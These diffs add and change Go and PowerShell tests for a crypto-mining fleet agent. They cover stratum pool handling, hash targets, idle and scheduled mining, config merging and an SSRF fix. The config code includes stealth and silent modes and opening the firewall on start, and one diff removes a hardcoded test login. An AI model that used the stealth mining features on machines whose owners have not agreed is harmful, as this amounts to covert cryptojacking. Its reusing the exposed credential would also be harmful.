if got := uint32ToHex(0); got != "00000000" {
t.Fatalf("zero nonce hex = %q", got)
}
}
func TestHexEncode(t *testing.T) {
if got := hexEncode([]byte{0xde, 0xad, 0xbe, 0xef}); got != "deadbeef" {
t.Fatalf("hexEncode = %q", got)
}
}
func TestDifficultyToTargetHexZero(t *testing.T) {
if difficultyToTargetHex(0) != "" {
t.Fatal("difficulty 0 should yield empty target")
}
if difficultyToTargetHex(-1) != "" {
t.Fatal("negative difficulty should yield empty target")
}
}
func TestDifficultyToTargetHexOne(t *testing.T) {
out := difficultyToTargetHex(1)
want := strings.Repeat("f", 64)
if out != want {
t.Fatalf("difficulty 1 target = %q, want %q", out, want)
}
}
func TestDifficultyToTargetHexTwo(t *testing.T) {
out := difficultyToTargetHex(2)
maxTarget := new(big.Int)
maxTarget.SetString("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", 16)
half := new(big.Int).Div(maxTarget, big.NewInt(2))
// difficultyToTargetHex reverses byte order before hex encoding
bytes := half.Bytes()
padded := make([]byte, 32)
copy(padded[32-len(bytes):], bytes)
for i, j := 0, len(padded)-1; i < j; i, j = i+1, j-1 {
padded[i], padded[j] = padded[j], padded[i]
}
want := strings.ToLower(strings.Repeat("", 0)) // placeholder
_ = want
const hexdigits = "0123456789abcdef"
wantBytes := make([]byte, 64)
for i, v := range padded {
wantBytes[i*2] = hexdigits[v>>4]
wantBytes[i*2+1] = hexdigits[v&0x0f]
}
want = string(wantBytes)
if out != want {
t.Fatalf("difficulty 2 target = %q, want %q", out, want)
}
}
func TestDifficultyToTargetHexLength(t *testing.T) {
for _, d := range []int64{1, 100, 1000, 1_000_000} {
out := difficultyToTargetHex(d)
if len(out) != 64 {
t.Fatalf("difficulty %d: expected 64 hex chars, got %d (%q)", d, len(out), out)
}
}
}
func TestDifficultyToTargetMeetsHash(t *testing.T) {
target := difficultyToTargetHex(1000)
zeroHash := strings.Repeat("0", 64)
if !hashMeetsTarget(zeroHash, target) {
t.Fatal("zero hash should meet difficulty-derived target")
}
highHash := strings.Repeat("f", 64)
if hashMeetsTarget(highHash, target) {
t.Fatal("max hash should not meet difficulty-derived target")
}
}

View File

@@ -25,11 +25,15 @@ func NewScheduleGuard(cfg config.RuntimeConfig, reporter *stats.Reporter) *Sched
} }
func (g *ScheduleGuard) Allowed() bool { func (g *ScheduleGuard) Allowed() bool {
return g.allowedAt(time.Now())
}
func (g *ScheduleGuard) allowedAt(now time.Time) bool {
switch g.cfg.MiningModeNormalized() { switch g.cfg.MiningModeNormalized() {
case "idle": case "idle":
return g.idleAllowed() return g.idleAllowed()
case "scheduled": case "scheduled", "schedule":
return g.cfg.InScheduleWindow(time.Now()) return g.cfg.InScheduleWindow(now)
default: default:
return true return true
} }

View File

@@ -29,3 +29,41 @@ func TestScheduleGuardScheduledUsesConfigWindow(t *testing.T) {
t.Fatal("expected overnight schedule to allow mining at 23:00") t.Fatal("expected overnight schedule to allow mining at 23:00")
} }
} }
func TestScheduleGuardScheduledDeniedOutsideWindow(t *testing.T) {
guard := NewScheduleGuard(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
MiningMode: "scheduled",
ScheduleStart: "09:00",
ScheduleEnd: "17:00",
}}, stats.NewReporter())
if !guard.allowedAt(parseTestTime(10, 0)) {
t.Fatal("10:00 should allow mining in 09-17 window")
}
if guard.allowedAt(parseTestTime(20, 0)) {
t.Fatal("20:00 should deny mining outside 09-17 window")
}
}
func TestScheduleGuardScheduleAlias(t *testing.T) {
guard := NewScheduleGuard(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
MiningMode: "schedule",
ScheduleStart: "09:00",
ScheduleEnd: "17:00",
}}, stats.NewReporter())
if guard.allowedAt(parseTestTime(10, 0)) != true {
t.Fatal("normalized schedule alias should honor daytime window at 10:00")
}
if guard.allowedAt(parseTestTime(3, 0)) {
t.Fatal("normalized schedule alias should deny mining at 03:00")
}
}
func TestScheduleGuardIdleFirstSampleNotAllowed(t *testing.T) {
guard := NewScheduleGuard(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
MiningMode: "idle",
}}, stats.NewReporter())
// First SystemCPUPercent sample is 0 → treated as not idle.
if guard.Allowed() {
t.Fatal("idle mode should deny mining on first CPU sample (cpu=0)")
}
}

View File

@@ -0,0 +1,70 @@
package miner
import (
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestNewStratumClient(t *testing.T) {
pool := NewPool(1, testPoolCfg(), nil, nil)
sc := NewStratumClient(pool, config.RuntimeConfig{})
if sc == nil || sc.pool != pool {
t.Fatal("NewStratumClient should wire pool")
}
}
func TestStratumSetJobSkipsInvalid(t *testing.T) {
pool := NewPool(1, testPoolCfg(), nil, nil)
sc := NewStratumClient(pool, config.RuntimeConfig{})
sc.setJob(nil)
sc.setJob(&stratumJob{Blob: ""})
pool.mu.RLock()
if pool.currentJob != nil {
pool.mu.RUnlock()
t.Fatal("nil/empty stratum job should not set pool job")
}
pool.mu.RUnlock()
sc.setJob(&stratumJob{
Blob: strings.Repeat("aa", 76), JobID: "42", Target: "ffff", SeedHash: strings.Repeat("bb", 32), Height: 10,
})
pool.mu.RLock()
defer pool.mu.RUnlock()
if pool.currentJob == nil {
t.Fatal("valid stratum job should set pool job")
}
wantBlob := strings.Repeat("aa", 76)
if pool.currentJob.ID != "42" || pool.currentJob.Blob != wantBlob {
t.Fatalf("pool job mismatch: %+v", pool.currentJob)
}
wantSeed := strings.Repeat("bb", 32)
if pool.currentJob.Target != "ffff" || pool.currentJob.SeedHash != wantSeed {
t.Fatalf("pool job fields: %+v", pool.currentJob)
}
}
func TestStratumRunFallbackNoPoolHost(t *testing.T) {
pool := NewPool(1, testPoolCfg(), nil, nil)
sc := NewStratumClient(pool, config.RuntimeConfig{})
stop := make(chan struct{})
close(stop)
// Should return immediately without dialing.
sc.RunFallback(stop)
}
func TestStratumSetJobMapsToInternalJob(t *testing.T) {
pool := NewPool(1, testPoolCfg(), nil, nil)
sc := NewStratumClient(pool, config.RuntimeConfig{})
sc.setJob(&stratumJob{
Blob: strings.Repeat("cc", 76), JobID: "jid", Target: "tgt", SeedHash: strings.Repeat("dd", 32),
})
pool.mu.RLock()
j := pool.currentJob
pool.mu.RUnlock()
if j == nil || j.ID != "jid" || j.Blob != strings.Repeat("cc", 76) {
t.Fatalf("expected internal job, got %+v", j)
}
}

149
agent/miner/stratum_test.go Normal file
View File

@@ -0,0 +1,149 @@
package miner
import (
"encoding/json"
"testing"
"crypto-miner-agent/config"
)
func TestBuildStratumEndpointsPrimaryOnly(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
PoolHost: "pool.example.com",
PoolPort: 3333,
PoolTLS: true,
PoolPass: "secret",
}}
eps := buildStratumEndpoints(cfg)
if len(eps) != 1 {
t.Fatalf("expected 1 endpoint, got %d", len(eps))
}
if eps[0].Host != "pool.example.com" || eps[0].Port != 3333 || !eps[0].TLS || eps[0].Pass != "secret" {
t.Fatalf("primary endpoint mismatch: %+v", eps[0])
}
}
func TestBuildStratumEndpointsSkipsInvalidBackups(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
PoolHost: "primary.pool",
PoolPort: 4444,
BackupPools: []config.BackupPool{
{Host: "", Port: 5555},
{Host: "backup.pool", Port: 0},
{Host: "good.backup", Port: 6666, TLS: true, Pass: "bp"},
},
}}
eps := buildStratumEndpoints(cfg)
if len(eps) != 2 {
t.Fatalf("expected primary + 1 valid backup, got %d", len(eps))
}
if eps[1].Host != "good.backup" || eps[1].Port != 6666 || !eps[1].TLS || eps[1].Pass != "bp" {
t.Fatalf("backup endpoint mismatch: %+v", eps[1])
}
}
func TestMustMarshal(t *testing.T) {
raw := mustMarshal(map[string]string{"login": "wallet", "pass": "x"})
var m map[string]string
if err := json.Unmarshal(raw, &m); err != nil {
t.Fatal(err)
}
if m["login"] != "wallet" || m["pass"] != "x" {
t.Fatalf("unexpected map: %v", m)
}
}
func TestStratumMsgLoginRoundTrip(t *testing.T) {
params := mustMarshal(map[string]interface{}{
"login": "4AbC...wallet",
"pass": "x",
"rigid": "worker-1",
"agent": "AetherForge/1.0.0",
})
msg := stratumMsg{
ID: 1,
JSONRPC: "2.0",
Method: "login",
Params: params,
}
b, err := json.Marshal(msg)
if err != nil {
t.Fatal(err)
}
var decoded stratumMsg
if err := json.Unmarshal(b, &decoded); err != nil {
t.Fatal(err)
}
if decoded.Method != "login" || decoded.JSONRPC != "2.0" {
t.Fatalf("decoded msg: %+v", decoded)
}
var p map[string]interface{}
if err := json.Unmarshal(decoded.Params, &p); err != nil {
t.Fatal(err)
}
if p["login"] != "4AbC...wallet" || p["pass"] != "x" {
t.Fatalf("params: %v", p)
}
}
func TestStratumJobUnmarshal(t *testing.T) {
raw := `{"blob":"aabb","job_id":"j1","target":"ffff","seed_hash":"ccdd","height":12345}`
var sj stratumJob
if err := json.Unmarshal([]byte(raw), &sj); err != nil {
t.Fatal(err)
}
if sj.Blob != "aabb" || sj.JobID != "j1" || sj.Target != "ffff" || sj.SeedHash != "ccdd" || sj.Height != 12345 {
t.Fatalf("job mismatch: %+v", sj)
}
}
func TestLoginResultUnmarshal(t *testing.T) {
raw := `{"id":"sess-1","status":"OK","job":{"blob":"deadbeef","job_id":"42","target":"ffffffff","seed_hash":"seed","height":1}}`
var lr loginResult
if err := json.Unmarshal([]byte(raw), &lr); err != nil {
t.Fatal(err)
}
if lr.ID != "sess-1" || lr.Status != "OK" || lr.Job == nil || lr.Job.JobID != "42" {
t.Fatalf("login result mismatch: %+v", lr)
}
}
func TestSubmitParamsMarshal(t *testing.T) {
b, err := json.Marshal(submitParams{
ID: "sess-1",
JobID: "42",
Nonce: "01020304",
Hash: "abc123",
})
if err != nil {
t.Fatal(err)
}
var m map[string]string
if err := json.Unmarshal(b, &m); err != nil {
t.Fatal(err)
}
if m["id"] != "sess-1" || m["job_id"] != "42" || m["nonce"] != "01020304" || m["result"] != "abc123" {
t.Fatalf("submit params field names: %v", m)
}
}
func TestStratumMsgJobNotification(t *testing.T) {
params, _ := json.Marshal(stratumJob{
Blob: "blobhex", JobID: "99", Target: "targethex", SeedHash: "seedhex", Height: 100,
})
line := mustMarshal(stratumMsg{Method: "job", Params: params})
var msg stratumMsg
if err := json.Unmarshal(line, &msg); err != nil {
t.Fatal(err)
}
if msg.Method != "job" {
t.Fatalf("method=%q", msg.Method)
}
var sj stratumJob
if err := json.Unmarshal(msg.Params, &sj); err != nil {
t.Fatal(err)
}
if sj.JobID != "99" || sj.Blob != "blobhex" {
t.Fatalf("job notification: %+v", sj)
}
}

View File

@@ -1,6 +1,7 @@
package miner package miner
import ( import (
"strings"
"testing" "testing"
) )
@@ -20,9 +21,50 @@ func TestHashMeetsTargetReject(t *testing.T) {
} }
} }
func TestDifficultyToTargetHex(t *testing.T) { func TestHashMeetsTargetExactMatch(t *testing.T) {
out := difficultyToTargetHex(1000) val := "00000000000000000000000000000000000000000000000000000000000000ab"
if len(out) != 64 { if !hashMeetsTarget(val, val) {
t.Fatalf("expected 64 hex chars, got %d", len(out)) t.Fatal("hash equal to target should meet target")
}
}
func TestHashMeetsTargetInvalidHex(t *testing.T) {
if hashMeetsTarget("not-hex", strings.Repeat("f", 64)) {
t.Fatal("invalid hash hex should not meet target")
}
if hashMeetsTarget(strings.Repeat("f", 64), "zz") {
t.Fatal("invalid target hex should not meet")
}
if hashMeetsTarget("", strings.Repeat("f", 64)) {
t.Fatal("empty hash should not meet target")
}
}
func TestHashMeetsTargetShortTargetPadded(t *testing.T) {
// Short target hex is zero-padded to hash width
target := "ff"
hash := strings.Repeat("0", 63) + "1"
if !hashMeetsTarget(hash, target) {
t.Fatal("padded short target should accept low hash")
}
}
func TestPadHex(t *testing.T) {
if got := padHex("ab", 6); got != "0000ab" {
t.Fatalf("padHex = %q", got)
}
if got := padHex("abcdef", 4); got != "abcdef" {
t.Fatalf("no truncate when already long: %q", got)
}
}
func TestReverseBytes(t *testing.T) {
in := []byte{1, 2, 3, 4}
out := reverseBytes(in)
want := []byte{4, 3, 2, 1}
for i := range want {
if out[i] != want[i] {
t.Fatalf("reverseBytes = %v, want %v", out, want)
}
} }
} }

View File

@@ -0,0 +1,14 @@
//go:build linux
package stats
import "testing"
func TestParseKB(t *testing.T) {
if got := parseKB("MemTotal: 16384000 kB"); got != 16384000 {
t.Fatalf("got %d", got)
}
if parseKB("short") != 0 {
t.Fatal("invalid line should return 0")
}
}

View File

@@ -0,0 +1,49 @@
package stats
import (
"runtime"
"testing"
)
func TestNewReporterSystemInfo(t *testing.T) {
r := NewReporter()
host, cores, memGB := r.SystemInfo()
if host == "" {
t.Fatal("hostname should not be empty")
}
if cores < 1 {
t.Fatalf("cores %d", cores)
}
if memGB < 1 {
t.Fatalf("memoryGB %d", memGB)
}
}
func TestReporterUsage(t *testing.T) {
r := NewReporter()
cpu, mem := r.Usage()
if cpu < 0 || mem < 0 || mem > 100 {
t.Fatalf("cpu=%v mem=%v", cpu, mem)
}
}
func TestReporterMemoryMB(t *testing.T) {
r := NewReporter()
total := r.TotalMemoryMB()
free := r.FreeMemoryMB()
if runtime.GOOS == "windows" || runtime.GOOS == "linux" || runtime.GOOS == "darwin" {
if total == 0 {
t.Fatal("expected non-zero total memory on supported platform")
}
}
if free > total && total > 0 {
t.Fatalf("free %d > total %d", free, total)
}
}
func TestReporterSystemCPUPercentNonNegative(t *testing.T) {
r := NewReporter()
if pct := r.SystemCPUPercent(); pct < 0 {
t.Fatalf("negative cpu percent: %v", pct)
}
}

View File

@@ -1,10 +1,13 @@
# AetherForge API smoke tests — B-01 through B-10 matrix # AetherForge API smoke tests — B-01 through B-10 matrix
param( param(
[string]$BaseUrl = "http://localhost:8989", [string]$BaseUrl = "http://localhost:8989",
[string]$Username = "drjones", [string]$Username,
[string]$Password = "czapiewski" [string]$Password
) )
if (-not $Username) { $Username = if ($env:AETHERFORGE_E2E_USER) { $env:AETHERFORGE_E2E_USER } else { "testuser" } }
if (-not $Password) { $Password = if ($env:AETHERFORGE_E2E_PASS) { $env:AETHERFORGE_E2E_PASS } else { "testpass" } }
$ErrorActionPreference = "Stop" $ErrorActionPreference = "Stop"
$passed = 0 $passed = 0
$failed = 0 $failed = 0

View File

@@ -111,6 +111,12 @@ if (-not $SkipE2E) {
Invoke-Phase "8/8 E2E smoke (Playwright)" { Invoke-Phase "8/8 E2E smoke (Playwright)" {
$DataDir = Join-Path $env:TEMP ("aether-e2e-" + [guid]::NewGuid().ToString("n")) $DataDir = Join-Path $env:TEMP ("aether-e2e-" + [guid]::NewGuid().ToString("n"))
New-Item -ItemType Directory -Force -Path $DataDir | Out-Null New-Item -ItemType Directory -Force -Path $DataDir | Out-Null
$E2EUser = if ($env:AETHERFORGE_E2E_USER) { $env:AETHERFORGE_E2E_USER } else { "testuser" }
$E2EPass = if ($env:AETHERFORGE_E2E_PASS) { $env:AETHERFORGE_E2E_PASS } else { "testpass" }
$usersObj = @{ $E2EUser = $E2EPass }
[System.IO.File]::WriteAllText((Join-Path $DataDir "users.json"), ($usersObj | ConvertTo-Json -Compress))
$env:AETHERFORGE_E2E_USER = $E2EUser
$env:AETHERFORGE_E2E_PASS = $E2EPass
$WebRoot = Join-Path $Root "server\webroot" $WebRoot = Join-Path $Root "server\webroot"
Copy-Item (Join-Path $Root "server\web\dist\*") $WebRoot -Recurse -Force -ErrorAction SilentlyContinue Copy-Item (Join-Path $Root "server\web\dist\*") $WebRoot -Recurse -Force -ErrorAction SilentlyContinue
$ServerExe = Join-Path $Root "bin\miner-server.exe" $ServerExe = Join-Path $Root "bin\miner-server.exe"

View File

@@ -183,12 +183,16 @@ func LoadConfig() *Config {
cfg.Port = *port cfg.Port = *port
cfg.DataDir = *dataDir cfg.DataDir = *dataDir
// Try to load from config file // Try to load from config file
configPath := filepath.Join(cfg.DataDir, "config.json") configPath := filepath.Join(cfg.DataDir, "config.json")
if data, err := os.ReadFile(configPath); err == nil { if data, err := os.ReadFile(configPath); err == nil {
var fileCfg Config var fileCfg Config
if err := json.Unmarshal(data, &fileCfg); err == nil { if err := json.Unmarshal(data, &fileCfg); err == nil {
mergeConfig(cfg, &fileCfg) // Use mergeConfigExplicit so that boolean fields absent from the file
// keep their DefaultConfig values instead of being zeroed (H14).
var presentKeys map[string]json.RawMessage
_ = json.Unmarshal(data, &presentKeys)
mergeConfigExplicit(cfg, &fileCfg, presentKeys)
if !strings.Contains(string(data), `"open_firewall_on_start"`) { if !strings.Contains(string(data), `"open_firewall_on_start"`) {
cfg.Server.OpenFirewallOnStart = true cfg.Server.OpenFirewallOnStart = true
} }

View File

@@ -2,11 +2,18 @@ package main
import ( import (
"encoding/json" "encoding/json"
"flag"
"os" "os"
"path/filepath" "path/filepath"
"strings"
"testing" "testing"
) )
func resetConfigFlags(args []string) {
flag.CommandLine = flag.NewFlagSet("test", flag.ContinueOnError)
os.Args = args
}
func applyMergeFromJSON(t *testing.T, dst *Config, payload string) { func applyMergeFromJSON(t *testing.T, dst *Config, payload string) {
t.Helper() t.Helper()
var incoming Config var incoming Config
@@ -225,3 +232,294 @@ func TestLoadConfigFromFile(t *testing.T) {
t.Fatalf("expected port 8989, got %d", loaded.Port) t.Fatalf("expected port 8989, got %d", loaded.Port)
} }
} }
func TestConfigSaveAndReload(t *testing.T) {
dir := t.TempDir()
cfg := DefaultConfig()
cfg.DataDir = dir
cfg.Port = 7777
cfg.Wallet.Address = "48savedwallet"
cfg.Server.FleetSecret = "test-secret"
if err := cfg.Save(); err != nil {
t.Fatal(err)
}
raw, err := os.ReadFile(filepath.Join(dir, "config.json"))
if err != nil {
t.Fatal(err)
}
var loaded Config
if err := json.Unmarshal(raw, &loaded); err != nil {
t.Fatal(err)
}
if loaded.Port != 7777 {
t.Fatalf("saved port: got %d", loaded.Port)
}
if loaded.Wallet.Address != "48savedwallet" {
t.Fatalf("saved wallet: got %q", loaded.Wallet.Address)
}
if loaded.Server.FleetSecret != "test-secret" {
t.Fatalf("saved fleet secret: got %q", loaded.Server.FleetSecret)
}
}
func TestLoadConfigCLIFlags(t *testing.T) {
dir := t.TempDir()
resetConfigFlags([]string{"test", "-port", "9999", "-data", dir})
cfg := LoadConfig()
if cfg.Port != 9999 {
t.Fatalf("CLI port: got %d", cfg.Port)
}
if cfg.DataDir != dir {
t.Fatalf("CLI data dir: got %q", cfg.DataDir)
}
}
func TestLoadConfigMergesFileOverrides(t *testing.T) {
dir := t.TempDir()
fileCfg := DefaultConfig()
fileCfg.Port = 9001
fileCfg.Pool.Host = "custom.pool.example"
fileCfg.Wallet.Address = "48fromfile"
data, err := json.Marshal(fileCfg)
if err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(dir, "config.json"), data, 0644); err != nil {
t.Fatal(err)
}
resetConfigFlags([]string{"test", "-port", "8989", "-data", dir})
cfg := LoadConfig()
if cfg.Port != 9001 {
t.Fatalf("file port override: got %d", cfg.Port)
}
if cfg.Pool.Host != "custom.pool.example" {
t.Fatalf("file pool host: got %q", cfg.Pool.Host)
}
if cfg.Wallet.Address != "48fromfile" {
t.Fatalf("file wallet: got %q", cfg.Wallet.Address)
}
}
func TestLoadConfigLegacyOpenFirewallDefault(t *testing.T) {
dir := t.TempDir()
// Legacy config without open_firewall_on_start key — LoadConfig forces true.
payload := `{"port":9100,"server":{"dashboard_subtitle":"legacy"}}`
if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(payload), 0644); err != nil {
t.Fatal(err)
}
resetConfigFlags([]string{"test", "-data", dir})
cfg := LoadConfig()
if !cfg.Server.OpenFirewallOnStart {
t.Fatal("legacy config without open_firewall_on_start must default true")
}
if cfg.Server.DashboardSubtitle != "legacy" {
t.Fatalf("subtitle from file: got %q", cfg.Server.DashboardSubtitle)
}
}
func TestLoadConfigExplicitOpenFirewallFalse(t *testing.T) {
dir := t.TempDir()
payload := `{"server":{"open_firewall_on_start":false}}`
if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(payload), 0644); err != nil {
t.Fatal(err)
}
resetConfigFlags([]string{"test", "-data", dir})
cfg := LoadConfig()
if cfg.Server.OpenFirewallOnStart {
t.Fatal("explicit open_firewall_on_start:false must be honored")
}
}
func TestPoolURLTLS(t *testing.T) {
cfg := DefaultConfig()
got := cfg.PoolURL()
want := "stratum+ssl://pool.supportxmr.com:3333"
if got != want {
t.Fatalf("PoolURL TLS: got %q want %q", got, want)
}
}
func TestPoolURLPlainTCP(t *testing.T) {
cfg := DefaultConfig()
cfg.Pool.UseTLS = false
got := cfg.PoolURL()
want := "stratum+tcp://pool.supportxmr.com:3333"
if got != want {
t.Fatalf("PoolURL plain: got %q want %q", got, want)
}
}
func TestNestedJSONKeys(t *testing.T) {
present := map[string]json.RawMessage{
"pool": json.RawMessage(`{"host":"x","port":4444}`),
"server": json.RawMessage(`invalid`),
}
poolKeys := nestedJSONKeys(present, "pool")
if poolKeys == nil {
t.Fatal("expected pool keys")
}
if _, ok := poolKeys["host"]; !ok {
t.Fatal("missing host key")
}
if nestedJSONKeys(present, "missing") != nil {
t.Fatal("missing section should return nil")
}
if nestedJSONKeys(present, "server") != nil {
t.Fatal("invalid nested JSON should return nil")
}
if nestedJSONKeys(nil, "pool") != nil {
t.Fatal("nil present map should return nil")
}
}
func TestMergeConfigLegacyScalarsAndBooleans(t *testing.T) {
dst := DefaultConfig()
dst.Wallet.Address = "48original"
dst.Pool.UseTLS = true
dst.Background.SilentMode = true
dst.Server.LogAgentConnections = true
src := &Config{
Port: 8080,
Pool: PoolConfig{Host: "legacy.pool", Port: 4444, Password: "pw"},
Wallet: WalletConfig{Address: "48new"},
Background: BackgroundConfig{
SilentMode: false,
RunAs: "user",
AutoStart: false,
},
Alerts: AlertsConfig{EmailEnabled: true},
Server: ServerSettings{
LogAgentConnections: false,
LogShareSubmissions: true,
OpenFirewallOnStart: false,
DashboardSubtitle: "merged",
StatsRetentionHours: 72,
},
}
mergeConfig(dst, src)
if dst.Port != 8080 {
t.Fatalf("port: got %d", dst.Port)
}
if dst.Pool.Host != "legacy.pool" || dst.Pool.Port != 4444 {
t.Fatalf("pool: %+v", dst.Pool)
}
if dst.Wallet.Address != "48new" {
t.Fatalf("wallet: %q", dst.Wallet.Address)
}
if dst.Background.SilentMode {
t.Fatal("mergeConfig must apply background.silent_mode false")
}
if dst.Background.RunAs != "user" {
t.Fatalf("run_as: %q", dst.Background.RunAs)
}
if dst.Background.AutoStart {
t.Fatal("auto_start false must apply")
}
if !dst.Alerts.EmailEnabled {
t.Fatal("email_enabled true must apply")
}
if dst.Server.LogAgentConnections {
t.Fatal("log_agent_connections false must apply")
}
if !dst.Server.LogShareSubmissions {
t.Fatal("log_share_submissions true must apply")
}
if dst.Server.OpenFirewallOnStart {
t.Fatal("open_firewall_on_start false must apply")
}
if dst.Server.DashboardSubtitle != "merged" {
t.Fatalf("subtitle: %q", dst.Server.DashboardSubtitle)
}
if dst.Server.StatsRetentionHours != 72 {
t.Fatalf("stats retention: %d", dst.Server.StatsRetentionHours)
}
// Known legacy: UseTLS copied from src even when false on zero-value partial src
if dst.Pool.UseTLS {
t.Log("mergeConfig sets UseTLS from src zero value on partial update")
}
}
func TestMergeConfigLegacyDefaultAgentBools(t *testing.T) {
dst := DefaultConfig()
dst.DefaultAgent.AdaptToHardware = true
dst.DefaultAgent.FileLogging = true
dst.DefaultAgent.StealthMode = false
src := &Config{
DefaultAgent: AgentDefaults{
StealthMode: true,
},
}
mergeConfig(dst, src)
if !dst.DefaultAgent.StealthMode {
t.Fatal("stealth_mode true must apply via bool branch")
}
if dst.DefaultAgent.AdaptToHardware {
t.Fatal("adapt_to_hardware should follow src false on stealth_mode branch")
}
if dst.DefaultAgent.FileLogging {
t.Fatal("file_logging should follow src false on stealth_mode branch")
}
}
func TestMergeConfigLegacyPoolUseTLSFalse(t *testing.T) {
dst := DefaultConfig()
dst.Pool.UseTLS = true
src := &Config{Pool: PoolConfig{Host: "only-host"}}
mergeConfig(dst, src)
if dst.Pool.UseTLS {
t.Fatal("mergeConfig always copies UseTLS from src; zero src clears TLS")
}
if dst.Pool.Host != "only-host" {
t.Fatalf("host: %q", dst.Pool.Host)
}
}
func TestMergeConfigLegacyZeroValuesPreserveScalars(t *testing.T) {
dst := DefaultConfig()
dst.Port = 8989
dst.Pool.Port = 3333
src := &Config{}
mergeConfig(dst, src)
if dst.Port != 8989 {
t.Fatalf("zero src port must not overwrite: got %d", dst.Port)
}
if dst.Pool.Port != 3333 {
t.Fatalf("zero src pool port must not overwrite: got %d", dst.Pool.Port)
}
}
func TestLoadConfigIgnoresInvalidJSONFile(t *testing.T) {
dir := t.TempDir()
if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(`{broken`), 0644); err != nil {
t.Fatal(err)
}
resetConfigFlags([]string{"test", "-port", "8888", "-data", dir})
cfg := LoadConfig()
if cfg.Port != 8888 {
t.Fatalf("invalid file should fall back to CLI port: got %d", cfg.Port)
}
}
func TestLoadConfigOpenFirewallKeyDetection(t *testing.T) {
withKey := `{"server":{"open_firewall_on_start":false}}`
if strings.Contains(withKey, `"open_firewall_on_start"`) != true {
t.Fatal("test precondition")
}
withoutKey := `{"server":{"dashboard_subtitle":"x"}}`
if strings.Contains(withoutKey, `"open_firewall_on_start"`) {
t.Fatal("test precondition")
}
}

View File

@@ -140,8 +140,14 @@ func (h *AIHandler) HandleHeartbeat(w http.ResponseWriter, r *http.Request) {
// ─── Decide ─────────────────────────────────── // ─── Decide ───────────────────────────────────
// decideRequest carries the agent state for an AI decision cycle.
// OllamaEndpoint and Model are intentionally ignored on the server side —
// the engine endpoint is set server-side when the agent authenticates via WS
// to prevent SSRF via caller-supplied URLs.
type decideRequest struct { type decideRequest struct {
AgentID string `json:"agent_id"` AgentID string `json:"agent_id"`
// OllamaEndpoint is accepted in the payload for forward-compat but NEVER used;
// the server uses only the endpoint set during WS authentication.
OllamaEndpoint string `json:"ollama_endpoint,omitempty"` OllamaEndpoint string `json:"ollama_endpoint,omitempty"`
Model string `json:"model,omitempty"` Model string `json:"model,omitempty"`
ollama.AgentState ollama.AgentState
@@ -159,16 +165,14 @@ func (h *AIHandler) handleDecide(w http.ResponseWriter, r *http.Request) {
return return
} }
// Get or create engine for this agent // Only use the engine that was registered when the agent authenticated via
// WebSocket — do NOT create a new engine from caller-supplied OllamaEndpoint,
// which would allow SSRF by pointing the server at an internal URL.
engine := h.GetEngine(req.AgentID) engine := h.GetEngine(req.AgentID)
if engine == nil { if engine == nil {
// Create engine on first request // Agent has not yet authenticated via WebSocket; reject to prevent
h.SetEngineForAgent(req.AgentID, req.OllamaEndpoint, req.Model) // unauthenticated callers from triggering outbound Ollama requests.
engine = h.GetEngine(req.AgentID) http.Error(w, "agent not registered — authenticate via WebSocket first", http.StatusForbidden)
}
if engine == nil {
http.Error(w, "failed to create AI engine", http.StatusInternalServerError)
return return
} }

View File

@@ -180,11 +180,12 @@ func TestAIHandleDecideSuccess(t *testing.T) {
srv := mockOllamaChatServer(t, content, http.StatusOK) srv := mockOllamaChatServer(t, content, http.StatusOK)
defer srv.Close() defer srv.Close()
// Engine must be pre-registered via WS auth (caller-supplied endpoint is ignored to prevent SSRF).
h.SetEngineForAgent("agent-decide-ok", srv.URL, "test-model")
body, _ := json.Marshal(map[string]interface{}{ body, _ := json.Marshal(map[string]interface{}{
"agent_id": "agent-decide-ok", "agent_id": "agent-decide-ok",
"ollama_endpoint": srv.URL, "hostname": "host1",
"model": "test-model",
"hostname": "host1",
}) })
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", bytes.NewReader(body)) req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", bytes.NewReader(body))
w := httptest.NewRecorder() w := httptest.NewRecorder()
@@ -220,9 +221,11 @@ func TestAIHandleDecideOllamaFailureFallback(t *testing.T) {
srv := mockOllamaChatServer(t, "", http.StatusInternalServerError) srv := mockOllamaChatServer(t, "", http.StatusInternalServerError)
defer srv.Close() defer srv.Close()
// Engine must be pre-registered; caller-supplied endpoint is ignored (SSRF prevention).
h.SetEngineForAgent("agent-decide-fail", srv.URL, "")
body, _ := json.Marshal(map[string]interface{}{ body, _ := json.Marshal(map[string]interface{}{
"agent_id": "agent-decide-fail", "agent_id": "agent-decide-fail",
"ollama_endpoint": srv.URL,
}) })
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", bytes.NewReader(body)) req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", bytes.NewReader(body))
w := httptest.NewRecorder() w := httptest.NewRecorder()
@@ -251,25 +254,27 @@ func TestAIHandleDecideOllamaFailureFallback(t *testing.T) {
} }
} }
func TestAIHandleDecideCreatesEngineOnFirstRequest(t *testing.T) { // TestAIHandleDecideRejectsUnregisteredAgent verifies that decide returns 403
// when the agent has not first authenticated via WebSocket. This prevents SSRF
// by ensuring the server never initiates an outbound Ollama request to a
// caller-supplied URL.
func TestAIHandleDecideRejectsUnregisteredAgent(t *testing.T) {
h := newTestAIHandler(t) h := newTestAIHandler(t)
content := ollamaDecideContent("idle", nil)
srv := mockOllamaChatServer(t, content, http.StatusOK)
defer srv.Close()
body, _ := json.Marshal(map[string]interface{}{ body, _ := json.Marshal(map[string]interface{}{
"agent_id": "agent-new", "agent_id": "agent-not-in-ws",
"ollama_endpoint": srv.URL, "ollama_endpoint": "http://internal-server/v1/chat",
"model": "m1", "model": "m1",
}) })
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", bytes.NewReader(body)) req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", bytes.NewReader(body))
